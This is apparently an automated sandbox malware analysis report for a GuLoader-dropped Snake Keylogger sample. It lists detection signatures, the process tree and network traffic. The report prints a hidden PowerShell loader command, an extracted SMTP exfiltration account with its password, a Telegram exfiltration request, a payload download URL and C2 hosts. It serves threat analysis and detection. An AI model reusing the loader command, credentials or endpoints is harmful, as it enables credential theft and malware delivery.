Edit tour

Windows Analysis Report
Rundholterne89.exe

Overview

General Information

Sample name:	Rundholterne89.exe
Analysis ID:	1539382
MD5:	a1e239c4d5116e289ce0597a92844ede
SHA1:	4562d452ccc32512291c3165a0b9b3c076b28094
SHA256:	1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904
Tags:	exevipkeyloggeruser-malwarelabnet
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Early bird code injection technique detected

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Powershell drops PE file

Queues an APC in another process (thread injection)

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Rundholterne89.exe (PID: 7992 cmdline: "C:\Users\user\Desktop\Rundholterne89.exe" MD5: A1E239C4D5116E289CE0597A92844EDE)

powershell.exe (PID: 8084 cmdline: "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6624 cmdline: "C:\Windows\SysWOW64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "transjcama@comercialkmag.com", "Password": "pW@4G()=#2", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000002.00000002.1886651504.000000000936D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: msiexec.exe PID: 6624	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: msiexec.exe PID: 6624	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.250.185.174, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 6624, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49709

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8084, TargetFilename: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 213.165.67.118, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 6624, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49729

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)", CommandLine: "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Rundholterne89.exe", ParentImage: C:\Users\user\Desktop\Rundholterne89.exe, ParentProcessId: 7992, ParentProcessName: Rundholterne89.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)", ProcessId: 8084, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:04:21.520222+0200	2803305	3	Unknown Traffic	192.168.2.10	49713	188.114.97.3	443	TCP
2024-10-22T16:04:22.954475+0200	2803305	3	Unknown Traffic	192.168.2.10	49715	188.114.97.3	443	TCP
2024-10-22T16:04:26.027860+0200	2803305	3	Unknown Traffic	192.168.2.10	49719	188.114.97.3	443	TCP
2024-10-22T16:04:28.905367+0200	2803305	3	Unknown Traffic	192.168.2.10	49723	188.114.97.3	443	TCP
2024-10-22T16:04:31.792925+0200	2803305	3	Unknown Traffic	192.168.2.10	49727	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:04:19.358399+0200	2803274	2	Potentially Bad Traffic	192.168.2.10	49711	193.122.130.0	80	TCP
2024-10-22T16:04:20.811576+0200	2803274	2	Potentially Bad Traffic	192.168.2.10	49711	193.122.130.0	80	TCP
2024-10-22T16:04:22.249021+0200	2803274	2	Potentially Bad Traffic	192.168.2.10	49714	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:04:14.198153+0200	2803270	2	Potentially Bad Traffic	192.168.2.10	49709	142.250.185.174	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Rundholterne89.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

Avira: detection malicious, Label: TR/AVI.Inj.npwdo

Found malware configuration

Source: 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "transjcama@comercialkmag.com", "Password": "pW@4G()=#2", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: Rundholterne89.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Rundholterne89.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49712 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 142.250.185.174:443 -> 192.168.2.10:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49728 version: TLS 1.2

Source: Rundholterne89.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: tem.Core.pdb source: powershell.exe, 00000002.00000002.1877824072.0000000006B74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb source: powershell.exe, 00000002.00000002.1877824072.0000000006B74000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_00406033 FindFirstFileA,FindClose,		0_2_00406033
Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		0_2_004055D1

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 0031F45Dh	6_2_0031F2C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 0031F45Dh	6_2_0031F4AC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 0031FC19h	6_2_0031F974
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DF31E0h	6_2_25DF2DC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DF2C19h	6_2_25DF2968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DF0D0Dh	6_2_25DF0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DF1697h	6_2_25DF0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DF31E0h	6_2_25DF2DBB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFDC51h	6_2_25DFD9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFD7F9h	6_2_25DFD550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DF31E0h	6_2_25DF310E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFD3A1h	6_2_25DFD0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFCF49h	6_2_25DFCCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_25DF0040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFFAB9h	6_2_25DFF810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFF661h	6_2_25DFF3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFF209h	6_2_25DFEF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFEDB1h	6_2_25DFEB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFE959h	6_2_25DFE6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFE501h	6_2_25DFE258
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4x nop then jmp 25DFE0A9h	6_2_25DFDE00

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.10:49729 -> 213.165.67.118:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:472847%0D%0ADate%20and%20Time:%2022/10/2024%20/%2022:38:31%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20472847%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49711 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49714 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49709 -> 142.250.185.174:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49715 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49723 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49727 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49719 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49713 -> 188.114.97.3:443

Source: global traffic

TCP traffic: 192.168.2.10:49729 -> 213.165.67.118:587

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49712 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1QnMHLeDTHoiU6Y5deHJSRouWaZ-fDANC&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.76 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:472847%0D%0ADate%20and%20Time:%2022/10/2024%20/%2022:38:31%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20472847%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: smtp.ionos.es

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 22 Oct 2024 14:04:32 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: msiexec.exe, 00000006.00000002.2625379700.0000000023389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.geotrust.com/GeoTrustTLSRSACAG1.crt0
Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdp.geotrust.com/GeoTrustTLSRSACAG1.crl0v
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: msiexec.exe, 00000006.00000002.2625379700.0000000023211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: msiexec.exe, 00000006.00000003.2333216796.00000000254A6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2625379700.00000000233AC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2628812676.00000000254A5000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2333331761.00000000254B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: Rundholterne89.exe, Rundholterne89.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Rundholterne89.exe, Rundholterne89.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.1874436892.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
